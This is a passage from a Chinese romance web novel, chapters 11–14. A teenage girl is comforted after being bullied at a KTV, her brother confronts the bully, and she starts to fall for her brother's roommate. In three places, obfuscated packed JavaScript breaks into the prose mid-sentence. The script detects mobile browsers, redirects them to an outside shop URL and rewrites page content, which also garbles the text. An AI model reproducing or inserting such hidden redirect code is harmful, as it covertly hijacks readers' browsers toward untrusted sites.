她小声道了谢,拿着烤肠,就站在烤肠摊旁边,小口小口地吃起来。期间还有别的顾客过来买烤肠,看到她吃得认真,随口问了句“小姑娘,好吃吗?”。温淼嘴里塞得鼓鼓囊囊,还没来得及咽下去,就连忙用力点头,含糊不清地“嗯嗯”两声。 阿姨被她这副实诚又可爱的样子逗笑了,又从保温壶里给她倒了杯热水,有一搭没一搭地和她聊着天,陪她一起等。 时间一分一秒过去,温淼不停地朝路口张望,寻找那辆熟悉的黑色奔驰,烤肠吃完了,热水也喝了大半杯,路上车来车往,却没有一辆停下。 晚上的风越来越凉,吹得她缩了缩脖子。她不知道具体等了多久,只觉得腿有点站麻了。最后,她干脆靠在了旁边一根路灯杆上,低着头,脚尖无意识地蹭着地面。 “……” 忽然,一双低帮的白色板鞋,无声无息地停在了她低垂的视线里。 她愣了一下,顺着那双鞋慢慢往上看。 浅蓝色的阔腿牛仔裤,灰色短袖。男人举着手机贴在耳边,呼吸略微有些不稳,显然来得有些急。但在看到她时,肩线几不可察地放松了些许。 是谢京韫。 “看到人了,”他对着电话那头说:“就在路边烤肠摊这儿,看上去没什么事……嗯,我们在这里等你。” 挂断电话,谢京韫抬手按了按眉心,似乎想驱散一些疲惫。他这才走上前,彻底站到温淼面前。 小姑娘很明显刚哭过一场,眼睛和鼻尖都泛着红,因为生病未愈,脸色也显得有些苍白,整个人没精打采的。 除此之外,谢京韫的眉头几不可察地蹙了一下。他敏锐地捕捉到她身上混杂着一丝极淡的烟草味。 温淼受不了烟味,平常在家,他和温宿如果想抽烟,都得自觉跑到院子里,抽完了还要在外面散一会儿味道,确定身上没什么烟味了才能进屋。 不可能是她自己沾上的。 温淼:“怎么是你来了?我哥呢?” 谢京韫语气听不出什么情绪:“看到是哥哥来,很失望?” “没有,没想到这么晚了,他还是要压榨你。” 她就是觉得,自己这副狼狈样子又被谢京韫看见,有点丢人。 “手机丢了?” “也不是丢了……落在KTV了,忘拿了。” “那为什么不回去拿?” “……”温淼抿紧了嘴唇,没吭声。 谢京韫看着她这副明显不想多谈、试图蒙混过关的样子,低下头。 “温淼,”他叫她的名字,语气很淡:“你现在就算不和我说明白,等你哥来了,他也是要问的。明白吗?” “……” 谢京韫看着她这副样子,在心里无声地叹了口气。他没再逼问,而是先伸手,将她手里那个已经空了的包装袋拿过来,转身丢进旁边的垃圾桶里。 然后,他走到烤肠摊前,向一直关切地看着这边的阿姨再次道谢,并坚持付了钱。阿姨推拒不过,只好收下,还小声跟他说:“小伙子,不要凶嘞,小姑娘看着怪难受的。” 做完这些,谢京韫才重新走回温淼面前。他蹲下身,让自己的高度不至于给她带来压迫感,试图用更温和的方式沟通。 “温淼,”他看着她低垂的、睫毛上还沾着湿气的眼睛:“我没有凶你。” 温淼吸吸鼻子:“如果我和你说的话,你待会能不和我哥说吗?” 谢京韫顿了顿,没有立刻打包票:“那要看,你怎么说,说的是什么事。” 这不就是不能完全保密的意思吗?温淼一想到等会儿温宿来了,面对他那张黑脸和连环炮似的逼问,她突然觉得,自己还不如刚才直接走回家算了,虽然远是远了点。 谢京韫看她小脸又垮了下去:“温淼,先看我。” “......” 她这才磨磨蹭蹭把头抬起来。 四目相对,谢京韫刚想再说点什么的时候,温淼指了一下他的嘴巴。 “让我保密?你还什么都没说.... “哥哥,”她声音带着鼻音:“你……这里怎么了?是被欺负了吗?” 温淼的手指停在他嘴角那道伤口边缘,眼神很专注,带着困惑和一丝她自己都没察觉的担忧。 谢京韫完全愣住了。 他设想过很多种她可能开口的方式。 抱怨,委屈,发脾气。 但他唯独没想过,在他试图追问她经历了什么的时候,她却先注意到了他嘴角这点微不足道的小伤。 他一时之间,竟不知该如何回答。 看着他愣住的样子,温淼似乎更确认了自己的猜测,眉头蹙得更紧,眼神里的担忧也更多了些。 “我……”谢京韫张了张嘴,声音比刚才哑了些。他下意识地抬起手,不是去摸自己的伤口,而是用拇指指腹,轻轻擦过她眼角又悄悄溢出的、温热的湿意。 他没有回答,而是将问题抛了回去。 “温淼,你自己呢?” “有被欺负吗?” 谢京韫不说这句话还好,这句话一问出来,刚才在KTV包厢里被起哄时的难堪,傅桃指责她时的愤怒和伤心,独自跑出来时的惊慌,在陌生街头等待时的无助,还有对眼前这个人突然受伤的担忧……所有积压的情绪,像找到了一个终于被允许的出口,瞬间决堤。 她被欺负了吗? 于是,当温宿开着车,一路疾驰,急匆匆推开车门下来的时候,看到的就是这样一幅画面—— 他那个平时要么跟他顶嘴、要么装乖巧、总之很少掉金豆子的妹妹,此刻正坐在石墩子上,用手背胡乱地抹着眼泪,哭得上气不接下气,小脸涨得通红,眼泪鼻涕糊了一脸。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091455|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想也没想,温宿几个大步迈过去,带着毫不掩饰的怒意,矛头直指谢京韫: “谢京韫,你有病啊?叫你来是惹她哭的?” 正哭得真情实感的温淼,被他这一嗓子吼得噎了一下,抬起哭得红肿的眼睛,茫然地看向突然出现的温宿,含糊不清地反问: “……什么?” - 坐进车后座,温淼稍微安定了些。她抽抽搭搭地,开始断断续续地讲述今晚的事情。 她开头省略了一点,中间省略了一点,结尾省略了一点。总之讲到最后,温宿从后视镜里看着后座的妹妹,越听眉头皱得越紧。 “温淼,我真的为你的语言组织能力感到堪忧。哭成这样?生怕别人不知道你命里缺水是不是?” 温淼好不容易止住的眼泪,被他这么一说,眼圈又红了,扁着嘴,委屈又气愤地瞪着他:“是你叫我说的。” “你怎么刚刚不对欺负你的人发这个脾气。窝里横。” “傅桃在那里,我总不能让她为难,让她难做吧?”她越说越伤心:“所以我才自己跑出来的。” 温宿觉得好笑:“不让别人为难,就连个包都不敢回去拿了?” “我不敢行了吧!”温淼赌气地喊出来:“要是我回去,他们还逼我弹琵琶怎么办?又没人帮我……傅桃什么都不说,就看着……我……你凶我干什么!你怎么不去打他们?就会凶我!” “......” 被妹妹数落一通的温宿抓到了重点,接着和坐在副驾驶的谢京韫对视一眼。 “谁逼你弹琵琶了?” 温淼被他突然冷下来的语气吓一跳,把在ktv发生的事情全部说了出来,说完后,温宿开始摘腕表。 “包厢号多少。” “....403。” “行,等着。” 说完这句,温宿推开车门就下了车,动作干脆利落。 等到他的身影彻底看不见了,温淼才后知后觉地反应过来,她趴在车窗上,看着KTV门口进进出出的人群,扭头看向旁边副驾驶座上的谢京韫。 “哥哥,我哥他去干什么了?” 谢京韫正把刚才温淼擦眼泪用过的纸巾团好,装进一个随身带的垃圾袋里。闻言,他侧过头,看了她一眼:“替你打人。” 温淼:“……!” 她眨了眨眼,接着就要下车,只不过刚走两步,胳膊就被拽住了。 谢京韫眉心跳了一下:“你去哪?” 他再慢两步人都拽不住。 温淼:“帮我哥打架。那里有好多人。我哥打不过。” “先不讨论你哥能不能打过的问题,现在的问题是,你去了就能打过了?”谢京韫反问。 他以为,小姑娘在听到这个直白的回答后,会害怕,会着急,会立刻让他去把温宿叫回来。 担心也是正常的。 以他对温宿脾气的了解,真动起怒来,事情可能会比较难收场。但即使这样,他也不想拦着。不过表面功夫总得做一下,安抚小孩的情绪。 谁能想到这祖宗的第一反应是,一起去打架?这是他们家的传统是吗? 12. chapter12 第十二章 The Show包厢里。 许乐坐在高脚凳上,看着脸色不太好看的秦项,嗤笑一声:“不至于吧?一个都没追回来?傅桃没哄好,那个弹琵琶的小妞也跑了?” 他跳下凳子,蹲到墙角那堆礼物前:“啧啧,这还没当上大明星呢,收的礼物就不少了。我说,你以后真红了,不会把我们这些老朋友都给忘了吧?” 他翻出一个包装精致的礼盒,也没问是谁送的,直接拆开,里面是一瓶香水。 秦项正心烦意乱地在手机上打字,试图跟负气跑走的傅桃解释,没好气道:“你别拆那瓶香水,要拿就拿旁边那个耳机走。” “行吧,这个也还行。” 他把耳机盒拿出来,在手里掂了掂,然后顺手搭上旁边卷发女生的肩膀,眼神却瞟向了沙发上那个包。 “.......” “不就是让她弹个琴嘛,”许乐松开那女生,走过去拎起温淼的包:“装什么啊?搞得好像谁求着她似的。” 他拉开拉链,直接把包里的东西稀里哗啦全倒在了玻璃茶几上。钱包、钥匙、手机、几包纸巾……散落一片。 “还是个牌子,现在学艺术的小姑娘都这么有钱?还是家里给惯的?” 旁边那个卷发女生看不下去了,皱眉道:“喂,许乐,差不多得了。不就是人家不愿意弹,你也是够出息的,跟个小姑娘过不去,还翻人家包?” “那是我看得起她!”许乐被戳中痛处,从口袋里掏出一包烟,抖出一根叼在嘴里:“还说什么你喜欢听让你自己弹去,装得跟个什么似的,我看她……” 他话还没说完,包厢厚重的隔音门被人从外面拉开,重重撞在墙上,发出巨大的声响。 许乐被吓了一跳:“操,不会敲门……” 他的声音戛然而止。 门口站着两个人。 打头的是一个穿着黑色夹克的年轻男人,眉眼锋利,周身散发着一种“老子现在很不爽”的低气压。他身后半步,还跟着一个穿着浅灰色卫衣的男人,身姿挺拔,面容在走廊逆光下看不太真切,但那双微微上挑的桃花眼,正平静地扫视着包厢内的一片狼藉,最后落在茶几上那堆属于温淼的物品上,目光陡然沉了下去。 “这谁啊?”许乐心里咯噔一下:“秦项,你叫来的朋友?” “走错包厢了吧?”秦项没看清来人的脸,随口回答答,直到他的目光落在后面那个穿灰色卫衣的男人身上,突然觉得有点眼熟。 是不是在机构见过。 “.......” “温淼哥哥?”他连忙站起身。 温宿闻言看了谢京韫一眼:“你怎么成她哥了?” “可能我和你妹比较有兄妹相?” 许乐看着面前两个大男人一来一回,心里一慌:“原来是去叫人了啊……怎么,来拿包的?” 温宿把目光重新放回许乐身上,没理会的叫嚣,径直朝着茶几走去。坐在茶几旁边沙发上的卷发女生下意识地往旁边缩了缩。 “你让开。” 卷发女生忙不迭地起身让到一边:“啊……好、好的。” 温宿走到茶几前,弯腰,动作不算温柔地开始将温淼的东西一样样捡回那个包里。 把东西收拾好后,他停下手里的动作,慢慢直起身,居高岭下地看着许乐。 “成年了吗?” 许乐被他问得一愣,男人比他高一个头,随即酒觉得自己被羞辱了,梗着脖子骂道:“这他妈什么话?我当然成……啊——!” 他话音未落,一个带着劲风的拳头狠狠地砸在了他的左脸上。 “砰!” 一声闷响,伴随着许乐的痛呼和身体趔趄撞到旁边高脚凳的声音。 温宿甩了甩手,语气甚至带着点嘲弄:“成年了就行。省得别人说我欺负小孩。” 他往前一步,蹲下身,看着捂着脸、被打懵了的许乐,伸出手,在他红肿的脸颊上不轻不重地拍了两下。 “叫我妹妹弹琴?谁给你的脸?嗯?平常我在家里让她弹一下,都得挨她白眼。” 许乐脑子嗡嗡作响,一半是疼的,一半是气的。 他什么时候受过这种当众殴打和羞辱? “....” 他猛地扭头看向旁边茶几,伸手就要去抓一个空酒瓶,只是手刚触到冰冷的瓶身—— 一只穿着板鞋的脚踩住了他的手指。 “嘶......” 许乐吃痛抬头,对上了一双平静无波、甚至带着点淡淡倦意的桃花眼。 是那个跟在后面、一直没说话的男人。他不知道什么时候走了过来,就站在茶几旁。 谢京韫垂着眼,目光落在许乐被踩住的手指,和旁边掉落的、刚才许乐叼过的那根还没点燃的烟上。他脚下微微用力,连带他的手指一起碾了碾那根香烟。 做完这一切,他才像是刚反应过来,微微抬眼,看向许乐,语气平淡,甚至带着一丝恰到好处的……歉意? “啊,抱歉。只是想帮你把烟灭了。” 他收回脚,仿佛刚才只是不小心。 “公共场所,抽烟不好。” 许乐疼得龇牙咧嘴:“我要报警!” “报吧。”谢京韫把他地上的手机踢过去,目光掠过包厢里其他目瞪口呆、大气不敢出的男男女女,最后停在秦项身上。 这一连串的变故,不过发生在短短几分钟内。包厢里所有人都被震住了。 “刚好听说这里有明星?警察来了的话,我们能上电视吗?跟着一起出出名也挺好的,说不定下半辈子不用努力了,你说呢,兄弟。” 温宿眯起眼睛扫视了一圈:“哈,这哪里有明星?” 长这样现在也能当明星了? 他有点不耐烦:“到底报不报?报警的话,那再让我多打两下,省得伤情没办法鉴定,为难人家医生。” “你.....你们!操....” 地上的许乐才不管这些,挣扎着就要拿手机,只是他刚碰到手机,就被秦项吼住了:“许乐,你报一个试试!” “.....” 许乐:“秦项,你没看见他们怎么打我的?你他妈疯了?” 秦项咬牙切齿:“看见?我看见什么了?你问其他人,他们看见什么了?” “许乐,我今晚忍你很久了。你敢报警一个试试。” 旁边的人要么刚上大学,要么才刚高考完,什么时候见过今天这阵仗,全都没一个敢接话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091456|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 秦项上前一步,走到谢京韫旁边:“温淼哥哥,这个是意外,今天的事情就当作没发生,我会处理,你看这样行不行?” “.......” “行啊。” 谢京韫笑了一下,目光很淡,没什么情绪,甚至没有刚才看许乐时那点刻意的歉意,就是平平常常的一眼。 “你这不是能拦住吗。” 就是这一眼,让秦项瞬间钉在了原地,喉咙像被什么堵住,一个字也吐不出来。 — 重新拿回自己的包,一路上温淼都异常沉默。她缩在后座角落,下巴抵在包带上,不知道在想些什么。 车开回熟悉的四合院时,已经是深夜。客厅的灯还亮着,温宿让温淼回房间,自己留在外面把今晚发生的事简单跟父母说了一遍。 向森听完,眉头拧紧,没说什么重话,温岚莉和他交换了一个眼神,起身去温淼房间想和她谈谈。 过了一会儿,温淼的房门轻轻打开了一条缝。小姑娘眼睛和鼻尖还是红红的,抱着一个毛绒玩偶,慢吞吞地挪到了院子门口。 院子里,似乎是为了不打扰向森和温宿的谈话,谢京韫正一个人站在那里。 他看了眼刚出来,一幅惨样的小姑娘,歪了点头:“怎么还哭呢。难不成你哥晚上打的那个小黄毛是你男朋友?所以才这么伤心?” 温淼本来情绪低落,被他这么一调侃,立刻抬起头,用那双红肿的眼睛瞪着他,声音还带着哭过后的沙哑:“……才不是。” 谢京韫把纸给她,“也是,那要真是你男朋友,那哥哥觉得你眼光也太差了。” “什么啊,我是在想我的九百块钱。” 谢京韫笑容止住:“钱,那几个人还抢你钱了?拿了多少?” “没有。是我给了傅桃九百块钱,让她给秦项买生日礼物。” “因为钱的事情哭?” “也不是。” 谢京韫叹了口气:“温淼,这个钱你有可能要不回来的,你知道吗。” “我知道。但我不是因为要不回来钱才哭,我只是觉得…..”温淼垂着眼:“因为这个钱,自己好像失去了一个朋友。” 也不能说因为这个钱吧。但好像就是从这个钱开始的。 谢京韫顿了一下。 拉开门进来的温宿正好听到这里,被她这清奇的脑回路弄得莫名其妙:“为什么要不回来?她借你钱不还你不会要吗?你是蠢吗?” 温淼被他问得有点懵,也觉得自己有点没道理:“我们都这样了,还怎么要啊?而且一开始是我自己愿意给她的。本来也不是为了让她还给我才借的。” 她缩了一下手指:“只是想让她开心而已。没想那么多。” 她越想越觉得这笔钱注定没了 温岚莉刚从切了盘西瓜出来想端给他们几个,就看到女儿又一副要哭的样子,儿子又在旁边一副狠铁不成钢的样子。 她连忙走过去,把盘子放在旁边:“里里,怎么又哭了?不是跟你说没事了吗?” 温淼用带着浓重鼻音、委委屈屈的声音,毫不犹豫地告状: “温宿骂我。” 刚被向森教育完一顿的,总共没说过两句话的温宿:“……?” 13. chapter13 第十三章 为了避免被算账,温淼逃回了自己的房间。关上门,她又想起今晚的事。 指尖先点开了那个几个人的群聊,退出。然后找到傅桃的头像,删除好友的红色按钮悬在那里。 她停顿了三秒,或许更久些才按下去。屏幕暗下去又亮起,列表里少了一个名字。 做完这一切,她把脸埋进枕头里。 其实她想理解傅桃。也试图去理解。只是耳边又响起温岚莉刚刚在卧室里说的话。 “里里。要和珍惜自己的人交朋友。” “有些话,有些举动不是不能做,但是自己要清楚,那么说意味着什么,自己又能不能承担那样做的后果。” 那意味着什么呢? 意味着傅桃知道。知道却还是说了。在那些字句吐出的瞬间,某种东西就已经被放弃了。 是这样吗? “……” “叩、叩。” 两下很轻的敲门声,打断了她糊成一团的思绪。 温宿来找她算帐了? 她心跳漏了一拍,连忙钻进被子,闷声喊:“我已经睡着了。” 外面安静下来。 又等了许久,估计人已经离开了,她这才蹑手蹑脚下床,轻轻拉开门。 门外空无一人。不过地板上倒是躺着一个白色物件。 温淼愣住,下意识蹲下来。指腹碰到纸张,发出轻微的窸窣声。 是一个信封。没有写字。 她迟疑着打开。 里面是一沓红色钞票。 不多不少,正好九百块。 — 会是谁放的呢? 思考这个无主信封的来历,成了温淼接下来几天最关注的问题。其实也不难猜,知道她借钱买耳机的,统共就那两个人。 但她总觉得,以温宿的性格,应该会直接砸门进来,把钱拍在她脸上,让她感恩戴德。 而不是像现在这样做个做好事不留名的活雷锋。 就这样心神不宁的到了回学校拍毕业照那天。她读的是昌南本地一所私立高中,高考前没拍成,原计划考后补拍,结果大家旅游的旅游,考驾照的考驾照,总之天南海北地散开,硬是凑不齐人头。最后还是年级主任拍板,定在回来拿毕业证这天一起解决。 他们班是文科班,女生占了大半。班主任特意自掏腰包请了摄影师和化妆师。温岚莉早在一个月前就在班委那儿给她交了拍照的钱。 要是从前,温淼或许还会为穿什么、梳什么发型费点心思。但经历了和傅桃的事,她只觉得疲惫,想着快点结束,只是随便在家收拾了一下就出门了。 六月底,天气闷热得像浸了水的海绵。她穿着买来就没穿过几次的制式校服,裙摆贴在腿上,祈祷老天能下一场雨,好让这黏腻的燥热快些过去。 拍毕业照的过程比她想象中要快。早上是年级合照,再然后是班级照,下午才是分组拍照。小组是毕业前就分好的,她和傅桃,还有其他几个女生一组。 中间拍合照的时候,有几个共同的朋友来找她说话,语气带着小心翼翼的试探。她只是笑笑,说“没事”。 真的没事吗?她也不知道。她只希望今天能够快点结束。 到了下午,老天兴许是听见了她心底的祈祷,竟真淅淅沥沥地下起雨来。也因为这场雨,后续分组拍照的活动临时取消。 把道具还回去后,她就独自站在班级门口檐下。本来想打电话问温宿什么时候到,诺基亚倒是先震动一下,是那个备注为“谢”的号码发来的消息。 谢:【你哥临时有点事,我来接你。】 她回了个简单的好,收起手机。雨水顺着屋檐滴落,砸出小而深的水洼。旁边也有几个没带伞的同学在等。 站了一会儿,她就注意到谢京韫的身影出现在校门口。 倒不是她刻意在找,实在是对方很难不引人注意。他撑着一把黑色长柄伞,个子高,肩线平直,穿过纷乱的家长和学生,朝这边走来。 “拍完了?” 温淼把书包给他:“拍完了。雨现在好大。” 谢京韫看了一下她穿的短裙和小白鞋:“我们等小一点再走。” 周围等待的人群里,不少目光悄悄落在他身上。 “里里,你和你哥还不走?”一个以前还算熟络的女生凑过来,视线若有若无看向旁边的谢京韫。 “雨太大了,我们等下再走。” “这样啊。” “对了,过几天就出成绩了,你考虑好填哪个学校没?听傅桃说你艺考成绩特别好,文化分随便考考就能上很好的学校。闭着眼睛填就行了,早知道当初我也学个乐器什么的了,我这次考的一般,现在填志愿真是头疼。” 温淼的手指微微蜷缩:“傅桃和你说的?” “啊,不好意思,忘记你们两个现在不玩了。”那女生似乎意识到说漏了嘴,尴尬地停顿,正好看见公交车驶来,匆忙道别:“我车来了,先走了啊。拜拜。” “……拜拜。” 雨丝毫没有变小的迹象。温淼也没有动。她和谢京韫之间隔着一层薄薄的、喧闹的雨声。 有些莫名的尴尬。 她没话找话。 “哥哥,你高考成绩怎么样?”能上昌南大学,分数应该不低。 “还行。”他回答得简短。 “还行?”她侧头看他,“一般人说还行,就是很好的意思。” 反正温宿是这样的,你问他学的怎么样,他就会回一句,还行,比你好。 “我还不知道你学什么专业的呢。” “同声传译。” “同声传译?那是不是要会很多种语言?” “可以这么理解。”他目光落在她好奇的脸上,“要不要我教你几句?” “可以吗?”她来了点精神,若有所思:“要不……教我几句骂人的?” 谢京韫眉梢几不可察地动了一下:“你学这个干什么?” “下次可以偷偷骂温宿啊。这样他也不知道。” 他没接这个话茬,只是被她逗笑了:“那你夸我两句,我教给你。” “才不要。”温淼被他看得有些不自在,索性跳下台阶。 “今天之后,应该就和大家见不到了。” 谢京韫侧目看她。来之前温宿打电话时和他说的话还在耳边:“你早点去接她,她平常因为艺考训练,总不在学校,班里朋友估计就没几个。现在又和傅桃闹成那样,这会儿指不定多尴尬。” “哥哥。”小姑娘走在他身侧,伞下的空间有限,她的校服袖子偶尔会轻轻蹭到他的手臂。“之前艺考集训,所有的课堂笔记,都是傅桃帮我抄的,工工整整的,还会用不同颜色的笔标重点……她每次都还会在笔记本最后画个小笑脸。” 温淼没继续往下说,但谢京韫明白她未尽的话语里那份沉甸甸的困惑和惋惜。 曾经那样好的朋友,为什么会走到今天这一步。 “我是不是太小心眼了。” 这是什么很大的事情吗? 她踢开脚边一颗湿漉漉的小石子,声音更低下去,几乎被雨声吞没,“不过她们说的也没错。我确实是占了艺考的便宜。如果只拼文化课,我现在估计也得愁眉苦脸地到处打听,该报哪个学校才能有学上。” 因为有温岚莉和向森在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091457|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后替她操心、拿主意,她几乎没为这些现实的烦恼真正煎熬过。 她没说完,转而嘀咕起另一件似乎毫不相干的事,更像是在转移那份沉重的自我怀疑:“其实我平常艺考模拟成绩也就那样,挺一般的。那天也不知怎么为什么拿了那么高的分。我哥都说我这是走了狗屎运。” 雨声淅淅沥沥,敲打着伞面,也敲打着两人之间的沉默。 谢京韫没有说话,只是撑着伞,不动声色地又朝她那边靠近了半步。伞面稳稳地倾斜,将她完全笼在干燥的庇护下,自己的半边肩膀露在雨中,他却浑然未觉。 “只是运气好吗?”他终于开口,像是在思考。 “至少我在这里住的这段时间,看见的,是你每天早上背着琴盒出门,烧还没完全退就要回去继续上课。刮风下雨也没见你缺席。现在天气这么热,每天来回一个多小时,也没有听见你说过累。” “那我得保持练习啊,琴这种东西,一天不练手就生了,才不能偷懒。而且我也习惯了。” “那交朋友呢,难道说你只等着别人给你送笔记?” “肯定没有,我每次都会再单独请她吃东西。也把我错题本借给她了。” 温淼几乎是下意识地回答。 话一出口,她自己先顿住了。 谢京韫也顿了顿,目光掠过她骤然停住的表情,看向远处被雨水洗得格外朦胧的校园建筑轮廓。 “温淼。不是所有人和别人闹别扭后,再提起对方的时候,第一反应都是对方对自己多好的。我不知道你知不知道,有一类人,她们往往会下意识地否定自己的努力,把成果归结为偶然、侥幸,或者一句轻飘飘的运气好。” 雨势不知何时渐渐转弱,从急促的滂沱转为细密的缠绵。谢京韫握着伞柄的手腕很稳,伞面依然更倾向她那边,自己肩头那一片洇湿的痕迹,在渐收的雨势中不再扩大,却也没有干涸的迹象。 他收回视线,重新落在她有些怔忪、似乎还没完全消化他话语的脸上,嘴角挂着笑,敲了一下她的脑袋。 “怎么会觉得这只是你运气好呢。你也付出了。” 他停顿了一瞬,让这句话的重量,和渐渐沥沥的尾音一起,沉入她的耳朵里。 “我倒是觉得,你只是忘记了自己在这个过程中也吃了很多苦。” “.......” 温淼怔在原地。 她吃了很多苦吗? 该怎么形容这种感觉呢?像冬夜里走了很久,忽然被人递过来一盏暖手的灯,灯芯跳跃的光晕不大,却刚好照亮了脚下那片被自己忽略的路。又或者,像一直闷在水底,终于得以浮出水面,吸进的第一口空气,微呛,但带着鲜明的存在感。 少女时代的第一次心动,不是因为对方长的有多么好看,也不是因为对方对她有多好,而是来自于被看见。 有人看见了她的付出。 十七岁的温淼不知道,被看见是一种怎样的感觉。她习惯了被保护,也习惯了被比较;习惯了那些有意无意的“你爸爸妈妈真好”“你运气真好”,也习惯了把那些晨昏颠倒的练习、近乎机械的枯燥,都默默咽下去,当作理所应当的本分。 她也还不清楚,被看见——尤其是被一个并非义务的人,如此平静而笃定地看见。 是一件多么……珍贵的事情。 男人的语气并不严肃,甚至算得上平淡,仿佛只是雨天闲谈间随口一提的观察。 可在这片渐渐稀疏的雨幕里,温淼觉得自己的心跳快得有些不听使唤,撞得耳膜都嗡嗡作响。 她几次微微张口,喉咙却像是被什么柔软的东西堵住了,最终没能发出任何像样的音节。 14. chapter14 第十四章 回到家时雨已经停了。温淼一个人坐在地毯上,神情异常严肃地捧着手机,手指不断滑动屏幕。 她正在翻温宿的空间。 至于为什么是温宿的,她当然不是对他那些满屏游戏战绩、篮球比赛转发和意义不明的动态感兴趣。她只是想从那稀稀拉拉的评论区里,大海捞针般地寻找那个她想看见的账号。 目光在某一条动态上锁定。那是温宿几个月前发的,内容极其无聊:蒋睿鹏打赌输了,喜提食堂刷碗一周。 配图是一张男生翻白眼的照片。 评论区倒是热闹,全是他朋友的无情嘲笑。 毛利大五郎: 【已截图,打印,裱起来挂我宿舍门口,每日瞻仰。】 牛顿的苹果砸我脸: 【666,那我可要去围观一下了。】 法外狂徒张三: 【@你蒋哥人狠话不多,需要法律援助吗?虽然赢面不大,但可以帮你写份声情并茂的《关于打赌时被威逼利诱导致神志不清的申诉状》。】 温淼一条一条扫过,指尖倏地停住。 在一堆插科打诨的评论里,有一个头像是一只简笔画的鲸鱼,昵称为“谢”的账号也跟着留言了一条。 谢:【下次发鬼图记得打码。】 鲸鱼,京韫。 她眨眨眼睛。 “这个是他吧……” 温淼手指蜷缩一下,悄悄把那张照片保存,心脏没来由地跳快了几分,接着点进去。 然而,点开个人信息页面很简单。但是点进空间访问很困难。 要是被看见访客记录怎么办?他会怎么想?会不会觉得她很奇怪? 可是这有什么,作为朋友的妹妹,她好奇他不是很正常吗。 一股迟来的懊恼涌上心头。过去四年,温宿和谢京韫同宿舍,她为什么一次都没想过去温宿学校看看?哪怕一次呢? 就在她对着手机屏幕兀自苦恼的时候,门外传来向森喊吃饭的声音。 “来了!”温淼应了一声,丢开手机,踩着拖鞋吧嗒吧嗒跑了出去。 餐厅里,因为之前淋了雨,谢京韫刚去冲了个澡,此刻身上套着一件宽松的短袖,头发半干,柔软地搭在额前,正被向森热情地招呼着在餐桌另一边坐下。 温岚莉也落了座:“里里,你怎么没去洗个澡?” 温淼接过向森递来的饭碗:“我没怎么淋到雨。哥呢?” “你哥今天有点事,晚点回来。” 这还是第一次温宿不在场,他们几个人一起吃饭。谢京韫就坐在她正对面,隔着几盘热气腾腾的菜。他吃饭的样子很安静,动作斯文。 “来,阿韫,尝尝这个糖醋排骨,你叔叔我的的拿手菜。” “谢谢叔叔。” “这段时间多亏你照顾里里,没给你添麻烦吧?”温岚莉也笑着问。 谢京韫抬眼,目光似乎不经意地掠过对面埋头扒饭的温淼:“没有,她很听话。我也没帮上什么忙。” “那就好。”向森点点头,又想起什么,“听阿宿说,你过两周就要走了啊?一开始不是说住到九月份吗?是回去读研?” 要走了? 温淼夹菜的动作顿在半空,猛地抬起头。 “可能先不考虑读研了。投了老家那边的一份工作,打算先回去工作一段时间。这段时间也麻烦叔叔阿姨照顾了。” 温岚莉有些惋惜:“哎哟,我记得你不是保研了吗?太可惜了。” “不过也没事,”向森接话,“积累一点社会经验再去读研,也是来得及的。” “……” 后面他们又聊了些什么,温淼已经听不进去了。整顿饭她吃得食不知味,满脑子反复回荡的就只有那几个字:谢京韫要走了。 这很正常。他本来就不可能一直住在这里,他是温宿的室友、朋友,只是暂住。 可是为什么偏偏是现在? “温淼,怎么我一回来你就这个表情?不欢迎我?”刚脱下鞋走进客厅的温宿,就这样对上了自家妹妹那张写满幽怨和神游天外的脸。 “对啊,不欢迎。”温淼有气无力地嘟囔。 “不欢迎也没事,”温宿今天心情似乎格外好,眉毛一挑:“今天我心情好,不跟你这小屁孩一般见识。” 温淼闻言,这才分给亲哥一点注意力,上下打量他:“你中彩票了?” “干什么?想抢啊?”温宿把手里的袋子往桌上一放,从里面掏出一盒包装精致的巧克力,在温淼眼前晃了晃,“现在说点好听的还来得及。” “就一盒巧克力,还想收买我?” “那太可惜了,本来想和你玩游戏,一颗巧克力一百的。谢京韫,你吃吗?这牌子还不错。差点忘记我妹妹要骨气,估计是看不上这点东西了。” “……” “哥。” 温淼挺直背。 接着,她往前凑了凑,目光诚恳:“我就说今天的你有些奇怪,原来是怪好看的。” 温宿:“……” 骨气?那是什么?能吃吗?能帮她把她想看到的人,多留在身边一会儿吗? 显然不能。 — 温宿说的这个游戏其实很简单。 数字炸弹。入场券一百块,每安全拿走一颗巧克力,就能从庄家,也就是温宿那里赢一百,但如果拿走了预先被指定为“炸弹”的那颗,前面赢的所有钱清零。 “真的没坑?”温淼盘腿坐在地毯上,狐疑地盯着托盘里那二十颗排列整齐、包装一模一样的巧克力。 